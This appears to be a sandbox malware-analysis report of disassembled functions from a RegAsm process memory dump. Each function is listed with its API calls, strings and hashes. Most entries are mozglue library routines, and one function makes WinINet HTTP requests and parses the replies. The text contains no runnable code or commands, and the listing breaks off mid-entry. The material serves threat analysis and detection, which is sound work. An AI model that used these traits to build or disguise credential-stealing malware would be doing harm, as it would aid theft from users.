Instruction ID: fbe152f2cf4b39d850190953f3852202f8d1ff805d260aa65534c1652103a240
Opcode Fuzzy Hash: ca8c77ce555deff49019b82982ebc260ba726444127aff8c7d4c633732a3cb61
Instruction Fuzzy Hash: 32410276B0531A8FDF018F68D888BAA3BB9EF59319F450025FD049BB40DB74A8048FD2

Function 6C2F5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C2F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C2F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C2F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C2F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C2F57BC
GetTickCount64.KERNEL32 ref: 6C2F58CB
EnterCriticalSection.KERNEL32(6C35F688), ref: 6C2F58F3
__aulldiv.LIBCMT ref: 6C2F5945
LeaveCriticalSection.KERNEL32(6C35F688), ref: 6C2F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C35F638,?,?,?,?), ref: 6C2F59E9

Strings

MOZ_APP_RESTART, xrefs: 6C2F56CC

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 792772dfaed560c3223e1e833c50ae0dc001e0daf6e6520722a55a4292a790c8
Instruction ID: a3e7b6801630831b608a2f428dc151ecb3e89e2966bbcb8ef419708651f02f1d
Opcode Fuzzy Hash: 792772dfaed560c3223e1e833c50ae0dc001e0daf6e6520722a55a4292a790c8
Instruction Fuzzy Hash: 12C18D31A097499FD709CF28C44066AFBF5BFCA714F558A2DE8D497660D730A886CB82

Function 00414DA0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,00EF2A50), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,00EF2120,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
lstrlenA.KERNEL32(00000000), ref: 00414E0F

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
lstrlenA.KERNEL32(00000000), ref: 00414E63
strtok.MSVCRT ref: 00414E7E
lstrlenA.KERNEL32(00000000), ref: 00414E8E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

ERROR, xrefs: 00414E99
ERROR, xrefs: 00414F89
ERROR, xrefs: 00414F12
ERROR, xrefs: 00414DEA
ERROR, xrefs: 00414F4F

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 403038929566516ced08024de874d387cf2f9a99d356b9ee5bed260c26f508a9
Instruction ID: 8f24e6183c5aafacdfff780c7fa5c74c912095ee1ff337cf81358bf1c292c6a0
Opcode Fuzzy Hash: 403038929566516ced08024de874d387cf2f9a99d356b9ee5bed260c26f508a9
Instruction Fuzzy Hash: D5516130911108ABCB14FF61CC9AEED7738AF50358F50401EF80B665A2DF786B95CB6A

Function 6C31EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C31EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31EC8C

Part of subcall function 6C3194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3194EE
Part of subcall function 6C3194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C319508

GetCurrentThreadId.KERNEL32 ref: 6C31ECA1
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C31ECC5
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C31ED19
CloseHandle.KERNEL32(?), ref: 6C31ED28
free.MOZGLUE(00000000), ref: 6C31ED2F
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C31EC94

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 8c231a57fc36aca4ae88f87d16d83efd97ec69f6930c0bd4592942a2a3ae6807
Instruction ID: 487fc8c7b550dbf073469f81aa957c1d590c75b93806d12ed3d668723cbcea48
Opcode Fuzzy Hash: 8c231a57fc36aca4ae88f87d16d83efd97ec69f6930c0bd4592942a2a3ae6807
Instruction Fuzzy Hash: 9221E5B5604208AFDF059F24DC08AAA777DEF4A36CF954210FC189BF40DB3698158FA2

Function 6C335FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C336009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C336024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Q-l,?), ref: 6C336046
OutputDebugStringA.KERNEL32(?,Q-l,?), ref: 6C336061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C336069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C336073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C336082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C35148E), ref: 6C336091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Q-l,00000000,?), ref: 6C3360BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C3360C4

Strings

Q-l, xrefs: 6C335FFC, 6C336042, 6C336045, 6C3360B3

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Q-l
API String ID: 3835517998-808283884
Opcode ID: f10dba3f2364deae05fe4a7af65ae6c88a671f7b3768dd871ea1419b8a4a9f20
Instruction ID: 8389341ed76fb9b7e25f046d7034914cef6dbf56edee7f767470abd16ab5eb85
Opcode Fuzzy Hash: f10dba3f2364deae05fe4a7af65ae6c88a671f7b3768dd871ea1419b8a4a9f20
Instruction Fuzzy Hash: 1321B2B1A002189FDB105F24DC09AAA7BBCFF45218F408428E85ADB241CB75A559CFD2

Function 6C318ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C2DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C31B392,?,?,00000001), ref: 6C3191F4

Part of subcall function 6C30CBE8: GetCurrentProcess.KERNEL32(?,6C2D31A7), ref: 6C30CBF1
Part of subcall function 6C30CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C2D31A7), ref: 6C30CBFA

Strings

marker-table, xrefs: 6C31906C
timeline-fileio, xrefs: 6C3190A4
timeline-overview, xrefs: 6C31907A
stack-chart, xrefs: 6C3190B2
name, xrefs: 6C318F16
timeline-memory, xrefs: 6C319088
data, xrefs: 6C3190E8
timeline-ipc, xrefs: 6C319096
marker-chart, xrefs: 6C31905E

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: d3bf4df4abe9a408ab390d8aabca39022f7a3ceea4d6927ba7efb1237fec976b
Instruction ID: 3069432379c96cf89258b77a5e5611faa3b396d466358cd0818fce39dba64c36
Opcode Fuzzy Hash: d3bf4df4abe9a408ab390d8aabca39022f7a3ceea4d6927ba7efb1237fec976b
Instruction Fuzzy Hash: 5EB1B1B5A042099FDB08CF94C851BEEBBB5BF84318F544429D901ABF80D772A955CFE1

Function 6C2FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C2FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C2FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C2FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C2FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C2FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C2FCAA5

Strings

(null), xrefs: 6C2FC596
0, xrefs: 6C2FD30A

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 6c92afd3af9a494ecabd69be1844d7c654328e916fd0c7dfd02123d6c84c193c
Instruction ID: 1311a374c0c6dae9239d4c8e2d8de0831be2024914c65d2fe446e8deb83c5a4a
Opcode Fuzzy Hash: 6c92afd3af9a494ecabd69be1844d7c654328e916fd0c7dfd02123d6c84c193c
Instruction Fuzzy Hash: EBA1BD3064834A8FDB10DF28C544B5AFBE5AF89B49F04881CFDA997741D731E80ACB92

Function 6C2D48E0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,6C31483A,?), ref: 6C2D4ACB
memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C31483A,?), ref: 6C2D4AE0
moz_xmalloc.MOZGLUE(?,?,6C31483A,?), ref: 6C2D4A82

Part of subcall function 6C2ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C2ECAA2

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C31483A,?), ref: 6C2D4A97
moz_xmalloc.MOZGLUE(?,?,6C31483A,?), ref: 6C2D4A35

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C31483A,?), ref: 6C2D4A4A
moz_xmalloc.MOZGLUE(?,?,6C31483A,?), ref: 6C2D4AF4
moz_xmalloc.MOZGLUE(?,?,6C31483A,?), ref: 6C2D4B10
moz_xmalloc.MOZGLUE(?,?,6C31483A,?), ref: 6C2D4B2C

Strings

:H1l, xrefs: 6C2D48EB, 6C2D49FB

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID: :H1l
API String ID: 4251373892-1107439968
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 98b00aa6ea4894e1f8fbf570b639bcff8543723d6f725e04bd7095008417f3a1
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: F57147B190070A9FCB14CF68C480AAAB7F5BF18308B50467EE55ADBB41E731F655CB91

Function 6C2FC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C2FC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C2FC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C2FC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C2FC891

Strings

inf, xrefs: 6C2FC78F
NAN, xrefs: 6C2FC7AD
nan, xrefs: 6C2FC7A8
INF, xrefs: 6C2FC794

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 3cf8ba067467b75b8d4393a9ce9650942b82b651432cba4d24f2979f5e554e50
Instruction ID: c183fbd467487eeacd30c9e91358abd21f122a440f756f8e45d08c82e8cd30d5
Opcode Fuzzy Hash: 3cf8ba067467b75b8d4393a9ce9650942b82b651432cba4d24f2979f5e554e50
Instruction Fuzzy Hash: 0E51A2305487498BD711EF2CC58169AFBF0BF8A709F408A2DFDE5A7650E770D9858B42

Function 6C2D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C2D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C2D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C2D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C2D350E
__Init_thread_footer.LIBCMT ref: 6C2D3522
__aulldiv.LIBCMT ref: 6C2D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C2D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C2D3592

Part of subcall function 6C30AB89: EnterCriticalSection.KERNEL32(6C35E370,?,?,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284), ref: 6C30AB94
Part of subcall function 6C30AB89: LeaveCriticalSection.KERNEL32(6C35E370,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C30ABD1

Strings

kernel32.dll, xrefs: 6C2D34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C2D3508

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 45345ccd388ebfa640bd3389b8eb46be08655978668fe3e0341a6d1e5a2a2007
Instruction ID: ea55d17fc9a58179a3794691b18b4c47129d19db6c4832fbe0d26af238a3c421
Opcode Fuzzy Hash: 45345ccd388ebfa640bd3389b8eb46be08655978668fe3e0341a6d1e5a2a2007
Instruction Fuzzy Hash: 4D31B171B0020A9BDF04DFB9D848EAA77BDFB4D305F954019E941A7690DB74A904CF61

Function 6C2D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C314843,?), ref: 6C2D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C314843,?), ref: 6C2D468A
free.MOZGLUE(?,?,?,?,?,?,6C314843,?), ref: 6C2D46C9
free.MOZGLUE(?), ref: 6C2D46EF
free.MOZGLUE(?), ref: 6C2D4712
free.MOZGLUE(?), ref: 6C2D4735
free.MOZGLUE(?), ref: 6C2D4758
free.MOZGLUE(?), ref: 6C2D477B
free.MOZGLUE(?), ref: 6C2D479E

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: bec365cd6e4f280caff3df7498c3baf2281b59da356179724d3438b573b630a8
Instruction ID: 3b9052e172c220d826d0b3e6f0d1a553392b95ad4554b6e59965469b2f20f8bf
Opcode Fuzzy Hash: bec365cd6e4f280caff3df7498c3baf2281b59da356179724d3438b573b630a8
Instruction Fuzzy Hash: 57B1E471A041598FDB188F3CDC9076D76A6AF61328F1A4639EC16DBB86D731E8808B91

Function 6C33AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C33AC52
CreateFileMappingW.KERNEL32 ref: 6C33AC7D
GetSystemInfo.KERNEL32 ref: 6C33AC98
MapViewOfFile.KERNEL32 ref: 6C33ACB0
GetSystemInfo.KERNEL32 ref: 6C33ACCD
MapViewOfFile.KERNEL32 ref: 6C33AD05
UnmapViewOfFile.KERNEL32 ref: 6C33AD1C
CloseHandle.KERNEL32 ref: 6C33AD28
UnmapViewOfFile.KERNEL32 ref: 6C33AD37
CloseHandle.KERNEL32 ref: 6C33AD43
CloseHandle.KERNEL32 ref: 6C33AD67

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 47abbc77e84631f90cbcbd77b465ddb48959776d4d48194d98858c1af82b71e0
Instruction ID: 7a1cd7bd2b2ea9ce5118e75202e3450a33bffc5c130185a2d3c1ed6fe714c380
Opcode Fuzzy Hash: 47abbc77e84631f90cbcbd77b465ddb48959776d4d48194d98858c1af82b71e0
Instruction Fuzzy Hash: B03142B1A047448FDB00FFB8D64866EFBF4BF85309F45892DE98997251EB709448CB92

Function 6C30F2B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C30D9DB), ref: 6C30F2D2
GetModuleHandleW.KERNEL32(ntdll.dll,00000000), ref: 6C30F2F5
moz_xmalloc.MOZGLUE(?,?,00000000), ref: 6C30F386
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6C30F347

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6C30F3C8
free.MOZGLUE(00000000,00000000), ref: 6C30F3F3
free.MOZGLUE(00000000,00000000), ref: 6C30F3FC
free.MOZGLUE(00000000,?,?,00000000), ref: 6C30F413

Strings

ntdll.dll, xrefs: 6C30F2F0

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: freemoz_xmalloc$HandleModule$malloc
String ID: ntdll.dll
API String ID: 301460908-2227199552
Opcode ID: 1d0206f7f41de23561b8cbc6bbed898681ade75a68c3cdc195075d4b232778ae
Instruction ID: 13401f0673369464dacf52d8197d99edf8cc92758af366ab279424c4da992a46
Opcode Fuzzy Hash: 1d0206f7f41de23561b8cbc6bbed898681ade75a68c3cdc195075d4b232778ae
Instruction Fuzzy Hash: E84128B2F002088BDF04DF69E84579EB7B4EF49328F64402DDC2AA7780EB31A405CB95

Function 6C336A10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C35F618), ref: 6C336A68
GetCurrentProcess.KERNEL32 ref: 6C336A7D
GetCurrentProcess.KERNEL32 ref: 6C336AA1
EnterCriticalSection.KERNEL32(6C35F618), ref: 6C336AAE
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C336AE1
